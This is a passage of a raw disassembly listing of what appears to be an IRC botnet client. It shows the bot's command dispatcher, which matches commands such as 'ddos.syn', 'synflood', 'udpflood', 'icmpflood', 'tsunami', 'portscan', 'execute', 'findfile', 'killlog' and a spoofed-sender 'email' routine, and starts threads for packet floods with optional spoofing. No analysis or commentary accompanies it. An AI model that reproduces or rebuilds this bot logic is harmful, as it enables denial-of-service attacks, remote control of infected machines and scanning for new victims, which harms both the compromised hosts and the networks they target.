loc_40851D ; --------------------------------------------------------------------------- loc_405FCB: ; CODE XREF: sub_401AC7+44F8j push offset unk_42B33C jmp loc_40851D ; --------------------------------------------------------------------------- loc_405FD5: ; CODE XREF: sub_401AC7+44B7j push edi push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FED push [ebp+arg_0] push 4 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_405FED: ; CODE XREF: sub_401AC7+451Dj push edi push offset aPause ; "pause" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406005 push [ebp+arg_0] push 5 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_406005: ; CODE XREF: sub_401AC7+4535j push edi push offset aContinue ; "continue" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406020 push [ebp+arg_0] push 6 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401AC7+454Dj push edi push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40603B push [ebp+arg_0] push 1 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_40603B: ; CODE XREF: sub_401AC7+4568j push edi push offset aShare ; "share" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4060B8 cmp [ebp+arg_18], ebx jz short loc_40608B cmp [ebp+var_8FC], bl jz short loc_406061 push ebx push [ebp+arg_18] push 1 jmp short loc_40606C ; --------------------------------------------------------------------------- loc_406061: ; CODE XREF: sub_401AC7+4590j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_40606C: ; CODE XREF: sub_401AC7+4598j call sub_418FA3 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 18h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40608B: ; CODE XREF: sub_401AC7+4588j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419198 add esp, 10h test eax, eax jz short loc_4060AE push offset unk_42B2FC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060AE: ; CODE XREF: sub_401AC7+45DBj push offset unk_42B2DC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060B8: ; CODE XREF: sub_401AC7+4583j push edi push offset aUser ; "user" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40615A mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40612D cmp [ebp+var_8FC], bl jz short loc_4060EE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40610E ; --------------------------------------------------------------------------- loc_4060EE: ; CODE XREF: sub_401AC7+4613j push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_40610A push esi push eax push ebx jmp short loc_40610E ; --------------------------------------------------------------------------- loc_40610A: ; CODE XREF: sub_401AC7+463Cj push ebx push eax push 2 loc_40610E: ; CODE XREF: sub_401AC7+4625j ; sub_401AC7+4641j call sub_4192B9 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 24h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40612D: ; CODE XREF: sub_401AC7+460Bj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4197CD add esp, 10h test eax, eax jz short loc_406150 push offset unk_42B2BC jmp loc_40851D ; --------------------------------------------------------------------------- loc_406150: ; CODE XREF: sub_401AC7+467Dj push offset unk_42B29C jmp loc_40851D ; --------------------------------------------------------------------------- loc_40615A: ; CODE XREF: sub_401AC7+4600j push edi push offset aSend ; "send" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4061A8 cmp [ebp+arg_18], ebx jz short loc_40619E push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419A81 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 1Ch jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401AC7+46A7j push offset unk_42B270 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_401AC7+46A2j push offset unk_42B254 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061B2: ; CODE XREF: sub_401AC7+4460j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D loc_4061E0: ; CODE XREF: sub_401AC7+3C93j ; sub_401AC7+3CC9j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F6C push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aAa ; "aa" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset aAction ; "action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aA ; "a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aM ; "m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aRp ; "rp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aDe ; "de" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aE ; "e" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aMv ; "mv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F6C push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aC ; "c" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4066F3 push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3AD add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset dword_415208 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4066E2 loc_4066CC: ; CODE XREF: sub_401AC7+4C19j cmp [ebp+var_3074], ebx jnz loc_403D2D push 32h nop call near ptr 268051Bh jmp short loc_4066CC ; --------------------------------------------------------------------------- loc_4066E2: ; CODE XREF: sub_401AC7+4C03j nop call near ptr 2680DCDh push eax push offset unk_42B0E0 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4066F3: ; CODE XREF: sub_401AC7+4B59j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406820 push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push edi push offset dword_42B098 push eax mov [ebp+var_36AC], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 10h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset byte_41416D push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40680F loc_4067F9: ; CODE XREF: sub_401AC7+4D46j cmp [ebp+var_349C], ebx jnz loc_4071DD push 32h call near ptr 268051Bh nop jmp short loc_4067F9 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_401AC7+4D30j nop call near ptr 2680DCDh push eax push offset dword_42B05C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_406820: ; CODE XREF: sub_401AC7+4C6Bj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F6C push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset dword_42AFF0 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset off_42AFEC call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aU ; "u" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aP ; "p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406A9E push edi call sub_41B4CF push edi lea eax, [ebp+var_2C4] push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C006 add esp, 10h cmp [ebp+var_8], ebx jnz loc_401F6C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_40408E ; --------------------------------------------------------------------------- loc_406A9E: ; CODE XREF: sub_401AC7+4FA1j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aEmail ; "email" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406C7A lea eax, [ebp+var_46F0] push edi push eax call sub_41C620 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C620 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C620 push offset asc_42CDCC ; " " push offset dword_42B938 push [ebp+esi+var_7C] call sub_4183EC push eax lea eax, [ebp+var_408C] push eax call sub_41C620 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4C9274 lea eax, [ebp+var_46F0] push eax call dword_4C9388 push 6 push 1 push 2 mov edi, eax call dword_4C9384 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4C9304 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C006 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4C92AC mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C lea eax, [ebp+var_448C] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4C9354 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C push esi call dword_4C939C call dword_4C925C lea eax, [ebp+var_458C] push eax push offset unk_42AF00 loc_406C33: ; CODE XREF: sub_401AC7+2E4Fj ; sub_401AC7+65CFj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406C3F: ; CODE XREF: sub_401AC7+241Bj add esp, 0Ch loc_406C42: ; CODE XREF: sub_401AC7+4483j ; sub_401AC7+44DDj ... cmp [ebp+var_8], ebx jnz short loc_406C63 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_406C63: ; CODE XREF: sub_401AC7+2955j ; sub_401AC7+29A8j ... mov esi, [ebp+arg_24] loc_406C66: ; CODE XREF: sub_401AC7+6848j ; sub_401AC7+7750j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx mov eax, esi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_406C7A: ; CODE XREF: sub_401AC7+5016j push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406CA4 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40724F loc_406CA4: ; CODE XREF: sub_401AC7+51C4j push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41BEF9 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410A9D jmp loc_409640 ; --------------------------------------------------------------------------- loc_406CD2: ; CODE XREF: sub_401AC7+4FE8j ; sub_401AC7+4FFFj mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 push offset unk_42AEB8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_406D35: ; CODE XREF: sub_401AC7+5234j ; sub_401AC7+524Bj ... push [ebp+arg_10] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E6A push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 push [ebp+arg_18] lea eax, [ebp+var_13D8] push esi push eax call sub_41C100 push [ebp+arg_0] call sub_41BEF9 mov [ebp+var_1254], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C100 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406DCC mov eax, offset aNormal ; "Normal" loc_406DCC: ; CODE XREF: sub_401AC7+52FEj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE74 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset dword_414974 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406E4A loc_406E34: ; CODE XREF: sub_401AC7+5381j cmp [ebp+var_1240], ebx jnz loc_4081DE push 32h call near ptr 268051Bh nop jmp short loc_406E34 ; --------------------------------------------------------------------------- loc_406E4A: ; CODE XREF: sub_401AC7+536Bj nop call near ptr 2680DCDh push eax push offset unk_42AE3C loc_406E56: ; CODE XREF: sub_401AC7+20E5j ; sub_401AC7+2EA4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406E62: ; CODE XREF: sub_401AC7+54DDj add esp, 0Ch jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E6A: ; CODE XREF: sub_401AC7+527Fj push offset unk_42AE04 loc_406E6F: ; CODE XREF: sub_401AC7+1FAEj ; sub_401AC7+1FC4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E82: ; CODE XREF: sub_401AC7+4F5Cj ; sub_401AC7+4F73j ... cmp dword_4C93F4, ebx jnz loc_406F8E mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41BEF9 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BD70 push [ebp+var_1008] mov eax, [ebp+arg_4] mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADBC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3AD add esp, 48h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset byte_413DCB push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406F7D loc_406F67: ; CODE XREF: sub_401AC7+54B4j cmp [ebp+var_FF4], ebx jnz loc_4081DE push 32h call near ptr 268051Bh nop jmp short loc_406F67 ; --------------------------------------------------------------------------- loc_406F7D: ; CODE XREF: sub_401AC7+549Ej nop call near ptr 2680DCDh push eax push offset unk_42AD84 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_406F8E: ; CODE XREF: sub_401AC7+53C1j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BD70 jmp loc_406E62 ; --------------------------------------------------------------------------- loc_406FA9: ; CODE XREF: sub_401AC7+4F2Ej ; sub_401AC7+4F45j push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push [ebp+arg_0] call sub_41B960 push [ebp+arg_18] mov edi, eax call sub_41B960 push [ebp+arg_20] add edi, eax call sub_41B960 push [ebp+arg_8] add edi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C080 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41BEF9 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_4070A3 loc_40702C: ; CODE XREF: sub_401AC7+5589j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AA2 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_407054 cmp eax, ebx jnz short loc_407073 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_40702C jmp short loc_4070AC ; --------------------------------------------------------------------------- loc_407054: ; CODE XREF: sub_401AC7+557Aj push ebx push [ebp+var_4] push offset unk_42ACF8 loc_40705D: ; CODE XREF: sub_401AC7+55EEj push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_40724F ; --------------------------------------------------------------------------- loc_407073: ; CODE XREF: sub_401AC7+557Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_4070A3: ; CODE XREF: sub_401AC7+5563j cmp [ebp+arg_20], ebx jnz loc_40724F loc_4070AC: ; CODE XREF: sub_401AC7+558Bj push ebx push [ebp+var_4] push offset unk_42AC90 jmp short loc_40705D ; --------------------------------------------------------------------------- loc_4070B7: ; CODE XREF: sub_401AC7+4EE9j ; sub_401AC7+4F00j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41BEF9 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_40711C push esi call sub_41BEF9 pop ecx mov [ebp+var_C74], eax jmp short loc_407122 ; --------------------------------------------------------------------------- loc_40711C: ; CODE XREF: sub_401AC7+5644j mov [ebp+var_C74], ebx loc_407122: ; CODE XREF: sub_401AC7+5653j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BD70 push [ebp+var_C78] mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC48 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3AD add esp, 30h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset byte_413F57 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4071C2 loc_4071B0: ; CODE XREF: sub_401AC7+56F9j cmp [ebp+var_C64], ebx jnz short loc_4071DD push 32h call near ptr 268051Bh nop jmp short loc_4071B0 ; --------------------------------------------------------------------------- loc_4071C2: ; CODE XREF: sub_401AC7+56E7j nop call near ptr 2680DCDh push eax push offset unk_42AC10 loc_4071CE: ; CODE XREF: sub_401AC7+4D54j ; sub_401AC7+621Ej ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_4071DD: ; CODE XREF: sub_401AC7+4D38j ; sub_401AC7+56EFj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push [ebp+var_4] loc_4071EA: ; CODE XREF: sub_401AC7+2271j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081FB ; --------------------------------------------------------------------------- loc_4071FD: ; CODE XREF: sub_401AC7+4EBBj ; sub_401AC7+4ED2j push 0Bh call sub_40B5F5 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41BEF9 